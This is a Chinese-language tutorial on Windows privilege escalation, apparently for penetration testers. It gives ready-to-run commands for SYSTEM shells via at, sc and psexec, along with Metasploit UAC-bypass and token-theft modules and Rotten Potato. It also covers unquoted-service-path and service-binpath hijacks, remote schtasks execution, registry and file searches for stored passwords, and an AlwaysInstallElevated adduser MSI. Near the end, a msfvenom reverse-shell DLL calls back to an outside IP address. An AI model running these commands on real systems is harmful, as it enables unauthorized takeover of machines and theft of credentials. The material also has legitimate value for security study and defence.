當以低權用戶進去一個陌生的windows機器後,無論是提權還是後續做什麼,第一步肯定要儘可能的搜集信息。知己知彼,才百戰不殆。
常規信息搜集
systeminfo 查詢系統信息 hostname 主機名 net user 查看用戶信息 netstat -ano|find "3389" 查看服務pid號 wmic os get caption 查看系統名 wmic qfe get Description,HotFixID,InstalledOn 查看補丁信息 wmic product get name,version 查看當前安裝程序 wmic service list brief 查詢本機服務 wmic process list brief 查詢本機進程 net share 查看本機共享列表 netsh firewall show config 查看防火牆配置常見的殺軟如下:
360sd.exe 360殺毒 360tray.exe 360實時保護 ZhuDongFangYu.exe 360主動防禦 KSafeTray.exe 金山衛士 SafeDogUpdateCenter.exe 安全狗 McAfee McShield.exe McAfee egui.exe NOD32 AVP.exe 卡巴斯基 avguard.exe 小紅傘 bdagent.exe BitDefender要搜集的信息大致如下幾點:
機器的系統及其版本機器的打補丁情況機器安裝的服務機器的防火牆策略配置機器的防護軟體情況
提權簡介
提權可分為縱向提權與橫向提權:縱向提權:低權限角色獲得高權限角色的權限;橫向提權:獲取同級別角色的權限。
Windows常用的提權方法有:系統內核溢出漏洞提權、資料庫提權、錯誤的系統配置提權、組策略首選項提權、WEB中間件漏洞提權、DLL劫持提權、濫用高危權限令牌提權、第三方軟體/服務提權等
1、系統內核溢出漏洞提權
#手工查找補丁情況
systeminfo #查看補丁wmic qfe get Description,HotFixID,InstalledOn #查看補丁信息#MSF後滲透掃描
post/windows/gather/enum_patches
利用(Vulmap、Wes、WindowsVulnScan)對比補丁進而進行提權
2、at命令利用
在Windows2000、Windows 2003、Windows XP這三類系統中,我們可以使用at命令將權限提升至system權限。
利用at命令,下面是at命令的百度解釋
AT命令是WindowsXP中內置的命令,它也可以媲美Windows中的「計劃任務」,而且在計劃的安排、任務的管理、工作事務的處理方面,AT命令具有更強大更神通的功能。AT命令可在指定時間和日期、在指定計算機上運行命令和程序。
因為at命令默認是以system權限下運行的所以我們可以利用以下命令,進行提權。
at 時間/interactive cmd 其中裡面的/interactive參數是開啟交互模式
等待一分鐘後
可以看到已經啟動了一個system權限下的cmd窗口,雖然此時我們已經有了system的權限,但是可以看到,桌面還是之前用戶的權限所啟動的
為了完全提權,我們可以在system的cmd裡面輸入taskmgr.exe來啟動任務管理器
在任務管理器裡面我們結束掉之前由之前帳號開啟的桌面進程
然後再添加一個由system權限下開啟的桌面進程
再點入看現在登入的帳號是
提權成功!
或者利用msf生成木馬在利用at啟動
3、sc命令利用
適用於windows 7/8、03/08、12/16
因為at命令在win7,win8等更高版本的系統上都已經取消掉了,所以在一些更高版本的windows作業系統上我們可以用sc命令進行提權,下面是sc的百度解釋。
SC命令是XP系統中功能強大的DOS命令,SC命令能與「服務控制器」和已安裝設備進行通訊。SC是用於與服務控制管理器和服務進行通信的命令行程序。
通俗理解就是sc可以啟動一個服務,命令如下。
sc Create systemcmd binPath= "cmd /K start" type= own type= interact其中systemcmd是服務名稱,大家可以隨意填寫,binpath是啟動的命令,type=own是指服務這個服務屬於誰,type=interact。這裡再解釋一下cmd/k start 這個命令,這個命令就是啟動一個新的cmd窗口,如圖。
我們繼續回車
上面的命令。
可以看到服務已創建,但是剛創建的服務是默認關閉的,所以我們要開啟這個服務,大家可以用圖形化界面開啟,但是在滲透過程中我們大多數拿到的都是命令行界面,所以這裡我只介紹命令行操作了。
敲入sc start systemcmd,即可啟動服務!
因為sc啟動服務也是默認system權限的,所以我們啟動的cmd窗口也是system權限!接下來的操作就可以和xp,2003一樣了,這裡就不在重複了。
4、psexec提權
適用版本:Win2003 & Win2008
微軟官方工具包:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
提權命令:
psexec.exe -accepteula -s -i -d cmd.exe開啟的cmd窗口也是system權限
5、 繞過UAC提權
UAC簡介
1.什麼是用戶帳戶控制(UAC)?
Microsoft的Windows Vista和Windows Server2008作業系統引入了一種良好的用戶帳戶控制架構,以防止系統範圍內的意外更改,這種更改是可以預見的,並且只需要很少的操作量。
換句話說,它是Windows的一個安全功能,它支持防止對作業系統進行未經授權的修改,UAC確保僅在管理員授權的情況下進行某些更改。如果管理員不允許更改,則不會執行這些更改,並且Windows系統保持不變。
2.UAC如何運行?
UAC通過阻止程序執行任何涉及有關系統更改/特定任務的任務來運行。除非嘗試執行這些操作的進程以管理員權限運行,否則這些操作將無法運行。如果您以管理員身份運行程序,則它將具有更多權限,因為它將被「提升權限」,而不是以管理員身份運行的程序。
UAC不會自動阻止惡意軟體,其目的不是確定程序是否是惡意軟體。這同樣取決於用戶。如果將以管理員權限執行程序,則將提醒用戶並且需要用戶確認。
繞過方法
一般我們通過msf拿到meterprter的會話後,我們可以通過getsystem或者getuid來檢查是否是system權限
如果不是system權限,我們可以通過以下繞過UAC模塊對UAC進行繞過,在通過getsystem進行提權
#Msfexploit/windows/local/ask #彈出UAC確認窗口,點擊後獲得system權限exploit/windows/local/bypassuacexploit/windows/local/bypassuac_injectionexploit/windows/local/bypassuac_fodhelperexploit/windows/local/bypassuac_eventvwrexploit/windows/local/bypassuac_comhijack6、令牌竊取
適用於2008之前版本
令牌簡介
描述進程或者線程安全上下文的一個對象。不同的用戶登錄計算機後,都會生成一個AccessToken,這個Token在用戶創建進程或者線程時會被使用,不斷的拷貝,這也就解釋了A用戶創建一個進程而該進程沒有B用戶的權限。一般用戶雙擊運行一個進程都會拷貝explorer.exe的AccessToken。訪問令牌分為:
* 授權令牌(Delegation token):交互式會話登陸(例:本地用戶登陸、用戶桌面等)
*模擬令牌(Impersonation token):非交互式登陸(例:net use 訪問共享文件)
兩種token只有在系統重啟後才會清除;授權令牌在用戶註銷後,該令牌會變為模擬令牌依舊有效。
同樣也可以這樣理解,當前系統中的某個進程或線程能訪問到什麼樣的系統資源,完全取決於你當前進程是拿著誰的令牌。
默認情況下,我們列舉令牌,只能列舉出當前用戶和比當前用戶權限更低用戶的令牌。令牌的數量取決於當前shell的訪問級別,如果當前的shell是administrator或者是system,我們就可以看到系統中的所有的令牌。
攻擊方法
#首先提前獲取一個session
meterpreter > use incognitometerpreter > list_tokens -umeterpreter >impersonate_token WIN-2HU3N1\\Administrator #注意:這裡是兩個反斜槓\\7、爛土豆提權
一般爛土豆需要來配合令牌竊取來進行提權
注意(重點:用爛土豆配合本地用戶提權是成功不了的,必須是web權限或資料庫權限)
單純令牌竊取:Web權限或本地權限
配合爛土豆提權:web權限或資料庫等權限
爛土豆提權原理
1、欺騙 「NT AUTHORITY\SYSTEM」帳戶通過NTLM認證到我們控制的TCP終端。
2、對這個認證過程使用中間人攻擊(NTLM重放),為「NT AUTHORITY\SYSTEM」帳戶本地協商一個安全令牌。這個過程是通過一系列的Windows API調用實現的。
3、模仿這個令牌。只有具有「模仿安全令牌權限」的帳戶才能去模仿別人的令牌。一般大多數的服務型帳戶(IIS、MSSQL等)有這個權限,大多數用戶級的帳戶沒有這個權限。
所以,一般從web拿到的webshell都是IIS伺服器權限,是具有這個模仿權限的。測試過程中,我發現使用已經建好的帳戶(就是上面說的用戶級帳戶)去反彈meterpreter然後再去執行EXP的時候會失敗,但使用菜刀(IIS伺服器權限)反彈meterpreter就會成功。
攻擊方法
meterpreter > upload/root/Rottenpotato/rottenpotato.exemeterpreter > execute -HC -f rottenpotato.exemeterpreter > use incognitometerpreter > list_tokens -u會發現令牌列表裡面存在system的令牌,在用system的令牌進行提權爛土豆版本
RottonPatato腳本:https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exehttps://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exehttps://github.com/foxglovesec/RottenPotato8、可信任服務路徑漏洞
如果一個服務的可執行文件的路徑沒有被雙引號引起來且包含空格,那麼這個服務就是有漏洞的
漏洞原理
這裡假設有一個服務路徑
C:\Program Files (x86)\CommonFiles\Tencent\QQMusic\QQMusicService.exe
帶引號時:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"會被看成一個完整的服務路徑,故不會產生漏洞。不帶引號時:我們認為的服務路徑是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由於沒有雙引號的包裹,Windows會認為C:\Program空格後面的為Program這個程序的參數來進行啟動服務。這樣攻擊者就可以命名一個為Program.exe的後門文件放在c盤下,進而等待含漏洞服務路徑的啟動或重啟導致後門文件的執行。攻擊方法
#尋找存在漏洞的服務
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
把我們後門文件重命名放在對應的文件路徑下
在msf上進行監聽,然後啟動對應服務
接收到shell,且是system權限
exploit/windows/local/unquoted_service_pathset AutoRunScript migrate -f9、不安全服務權限配合計劃任務schtasks或SC命令利用
如果攻擊者對以高權限運行的任務所在的目錄具有寫權限,就可以使用覆蓋原來的服務路徑,進而啟動我們的惡意程序。(一般用來administrator提權到system,因為普通用戶用sc修改服務路徑會沒有權限,導致不能用該方法提權。)
accesschk.exe -uwcqv "administrators" *sc config "test" binpath="C:\shell.exe"
當然還可以用schtasks來定時啟動服務,schtasks命令比at命令更靈活。而且在WindowsVista、Windows Server 2008及之後版本的作業系統已經棄用at命令。
#查看計算機的計劃任務
schtasks /query /fo LIST /vschtasks /create /s 10.10.10.80 /tn test /sc onstart/tr c:\artifact.exe /ru system /f在遠程主機運行「test」任務
schtasks /run /s 10.10.10.80 /i /tn "test"
執行完成之後就刪除計劃任務
schtasks /delete /s 10.10.10.80 /tn "test"/f
接著刪除IPC$
net use \\10.10.10.80 /del /y
在使用schtasks命令的時候會在系統留下日誌文件C:WindowsTasksSchedLgU.txt。
參數的意思:
/create 表示創建計劃任務/tn 表示任務名/tr 指定運行的文件/sc 是任務運行頻率/st 是執行時間/s 指定遠程機器名或 ip地址/ru 指定運行任務的用戶權限,這裡指定為最高的 SYSTEM/i 表示立即運行/F 表示如果指定的任務已經存在,則強制創建任務並抑制警告/delete 是刪除任務。10、Unattended Installs(自動安裝)
自動安裝允許程序在不需要管理員關注下自動安裝。這種解決方案用於在擁有較多僱員和時間緊缺的較大型組織中部署程序。如果管理員沒有進行清理的話,那麼會有一個名為Unattend的XML文件殘存在系統上。這個XML文件包含所有在安裝程序過程中的配置,包括一些本地用戶的配置,以及管理員帳戶。
全盤搜索Unattend文件是個好辦法,它通常會在以下一個文件夾中:
C:\Windows\Panther\ C:\Windows\Panther\Unattend\ C:\Windows\System32\ C:\Windows\System32\sysprep\除了Unattend.xml文件外,還要留意系統中的sysprep.xml和sysprep.inf文件,這些文件中都會包含部署作業系統時使用的憑據信息,這些信息可以幫助我們提權。
C:\Users\user\Desktop> dir C:*vnc.ini /s /b /cC:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.inireg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s在這些文件中通常包含用戶名和密碼,密碼使用base64編碼,並且在最後會附加」Password」,所以真正的密 碼需要去掉最後的」Password」。#msf模塊
post/windows/gather/enum_unattend11、 AlwaysInstallElevated
AlwaysInstallElevated 是一種允許非管理用戶以SYSTEM權限運行MicrosoftWindows安裝程序包(.MSI文件)的設置。默認情況下禁用此設置,需系統管理員手動啟用他。
可以通過查詢以下註冊表項來識別此設置:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]「AlwaysInstallElevated」=dword:00000001[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]「AlwaysInstallElevated」=dword:00000001使用reg query命令查詢是否存在漏洞
C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedC:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated如果系統沒這個漏洞,它將輸出錯誤:
ERROR: The system was unable to find the specifiedregistry key or value.
如果存在漏洞,上面將輸出以下內容:
然後我們使用msfvenom生成msi文件,進行提權
msfvenom -p windows/adduser USER=rottenadminPASS=P@ssword123! -f msi-nouac -o rotten.msimsiexec /quiet /qn /i C:\programdata\rotten.msimsf下的自動模塊
exploit/windows/local/always_install_elevated12、DLL劫持提權
原理:Windows程序啟動的時候需要DLL。如果這些DLL不存在,則可以通過在應用程式要查找的位置放置惡意DLL來提權。通常,Windows應用程式有其預定義好的搜索DLL的路徑,它會根據下面的順序進行搜索:
1、應用程式加載的目錄2、C:\Windows\System323、C:\Windows\System4、C:\Windows5、當前工作目錄Current Working Directory,CWD6、在PATH環境變量的目錄(先系統後用戶)過程:信息收集-進程調試-製作dll並上傳-替換dll-啟動應用後成功msfvenom -p windows/meterpreter/reverse_tcplhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll13、資料庫提權
資料庫提權知識點較多,下次另起篇幅。
推薦閱讀: